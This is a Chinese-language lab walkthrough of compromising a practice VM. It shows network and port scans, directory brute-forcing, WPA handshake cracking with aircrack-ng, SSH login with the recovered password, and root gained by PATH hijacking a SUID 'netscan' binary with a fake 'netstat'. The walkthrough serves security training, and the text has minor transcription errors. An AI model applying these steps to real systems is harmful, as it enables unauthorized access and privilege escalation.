信息收集

```
nmap -sn 192.168.56.0/24
```

```
root@kali:~# nmap -sn 192.168.56.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-08 09:20 EST
Nmap scan report for 192.168.56.1
Host is up (0.00025s latency).
MAC Address: 0A:00:27:00:00:0D (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.00017s latency).
MAC Address: 08:00:27:B5:02:2B (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.119
Host is up (0.00037s latency).
MAC Address: 08:00:27:CC:F6:0B (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 16.11 seconds
```

端口扫描

```
nmap -sS -sV -T5 -A -p- 192.168.56.119
```

```
STATE SERVICE
                             VERSION
80/tcp open http
                             Apache httpd 2.4.18 ((Ubuntu))
| http-server-header: Apache/2.4.18 (Ubuntu)
| http-title: Hacker James
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 2525/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux;
                             OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
 ssh-hostkey:
    2048 12:55:4f:1e:e9:7e:ea:87:69:90:1c:1f:b0:63:3f:f3 (RSA)
    256 a6:70:f1:0e:df:4e:73:7d:71:42:d6:44:f1:2f:24:d2 (ECDSA)
    256 f0:f8:fd:24:65:07:34:c2:d4:9a:1f:c0:b8:2e:d8:3a (ED25519)
MAC Address: 08:00:27:CC:F6:0B (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.\overline{9}
Network Distance: 1 hop
Service Info: Host: NITIN; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

目录枚举

```
gobuster dir -u http://192.168.56.119 -w
/usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-
directories.txt -x .php,.txt,.html
```

```
/js (Status: 301)
/css (Status: 301)
/img (Status: 301)
/news (Status: 301)
/gallery (Status: 301)
/html (Status: 301)
/index.html (Status: 200)
/server-status (Status: 403)
[ERROR] 2020/02/08 09:22:40 [!] parse http://192.168
/index.html (Status: 200)
```

都访问了一下没啥线索

```
# BSSID
                        ESSID
                                                  Encryption
  1 56:DC:1D:19:52:BC blackjax
                                                  WPA (1 handshake)
Choosing first network as target.
Opening user.cap please wait...
Read 49683 packets.
1 potential targets
                             Aircrack-ng 1.5.2
      [00:00:05] 22846/7120712 keys tested (3982.47 k/s)
     Time left: 29 minutes, 42 seconds
                                                                 0.32%
                           KEY FOUND! [ snowflake ]
                    : 4D C3 19 CC 16 7F 42 4B D6 E7 E6 77 C2 56 A0 1C
     Master Key
                      90 91 57 C2 A3 DC 1E 17 14 C0 6F D2 A8 45 85 16
     Transient Key : 4A 5F 8C C2 AB 0C 5E 43 11 43 D1 AF 22 72 BB 83
                       0B 1E AF 49 55 3C E1 63 D6 56 5E 2D 06 B6 55 6B
                       28 E1 E1 78 36 76 EB F6 BE D4 FD 86 26 87 1F 08
                      9D 9D 6A 3B 94 69 04 DC 11 13 1D DA 47 66 83 86
                   : 73 7E 3D 15 63 8D 2E C5 5E EE DF C2 87 4F FF F3
     EAPOL HMAC
```

getshell

ssh登录

```
Are you sure you want to continue connecting (yes/no/[iingerprint])?
Warning: Permanently added '[192.168.56.119]:2525' (ECDSA) to the list of known ho
blackjax@192.168.56.119's password:
Permission denied, please try again.
blackjax@192.168.56.119's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-142-generic i686)
 * Documentation: https://help.ubuntu.com
 * Management:
                  https://landscape.canonical.com
 * Support:
                  https://ubuntu.com/advantage
151 packages can be updated.
100 updates are security updates.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Mon Nov 4 15:37:42 2019 from 192.168.1.50
$ sudo -l
[sudo] password for blackjax:
Sorry, user blackjax may not run sudo on nitin.168.1.7.
```

提权

获取shell之后要做的第一件事是使用Python获取一个tty,不然有些命令是无法执行的。

```
python -c 'import pty; pty.spawn("/bin/bash")'
# 有些没有安装Python2,所以需要换成python3 -c 'import pty;
pty.spawn("/bin/bash")'
```

```
#查看其他用户
cat /etc/passwd
```

```
#内核提权
uname -a
```

```
查找sudo权限命令
sudo -1
#SUID权限可执行文件,没有可用的
find / -perm -u=s -type f 2>/dev/null
#当前用户可写文件,发现一堆,但是极大多数都是没用的,所以我先把结果输出到文本
文
件,然后使用grep加上关键字去筛选。
find / -writable -type f 2>/dev/null >/tmp/report.txt
grep -Ev '/proc|/sys' /tmp/report.txt
#查看计划任务
cat /etc/crontab
#查看邮件
cd /var/mail/
ls
```

没啥线索,参考wp,利用netscan提权,运行netstat

https://www.anquanke.com/post/id/146799

```
cd /tmp
echo "/bin/sh" > netstat
chmod 777 netstat
echo $PATH
export PATH=/tmp:$PATH
cd /usr/bin
./netscan
whoami
```

```
$ python -c 'import pty; pty.spawn("/bin/bash")'
blackjax@nitin:/tmp$ echo "/bin/sh" > netstat
blackjax@nitin:/tmp$ chmod 777 netstat
blackjax@nitin:/tmp$ echo $PATH
/tmp:/tmp:/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/usr/games:/usr/local/games:/snap/bin
blackjax@nitin:/tmp$ export PATH=/tmp:$PATH
blackjax@nitin:/tmp$ cd /usr/bin
blackjax@nitin:/usr/bin$ ./netscan
#
root
#
```

参考链接:

https://www.freebuf.com/articles/system/221949.html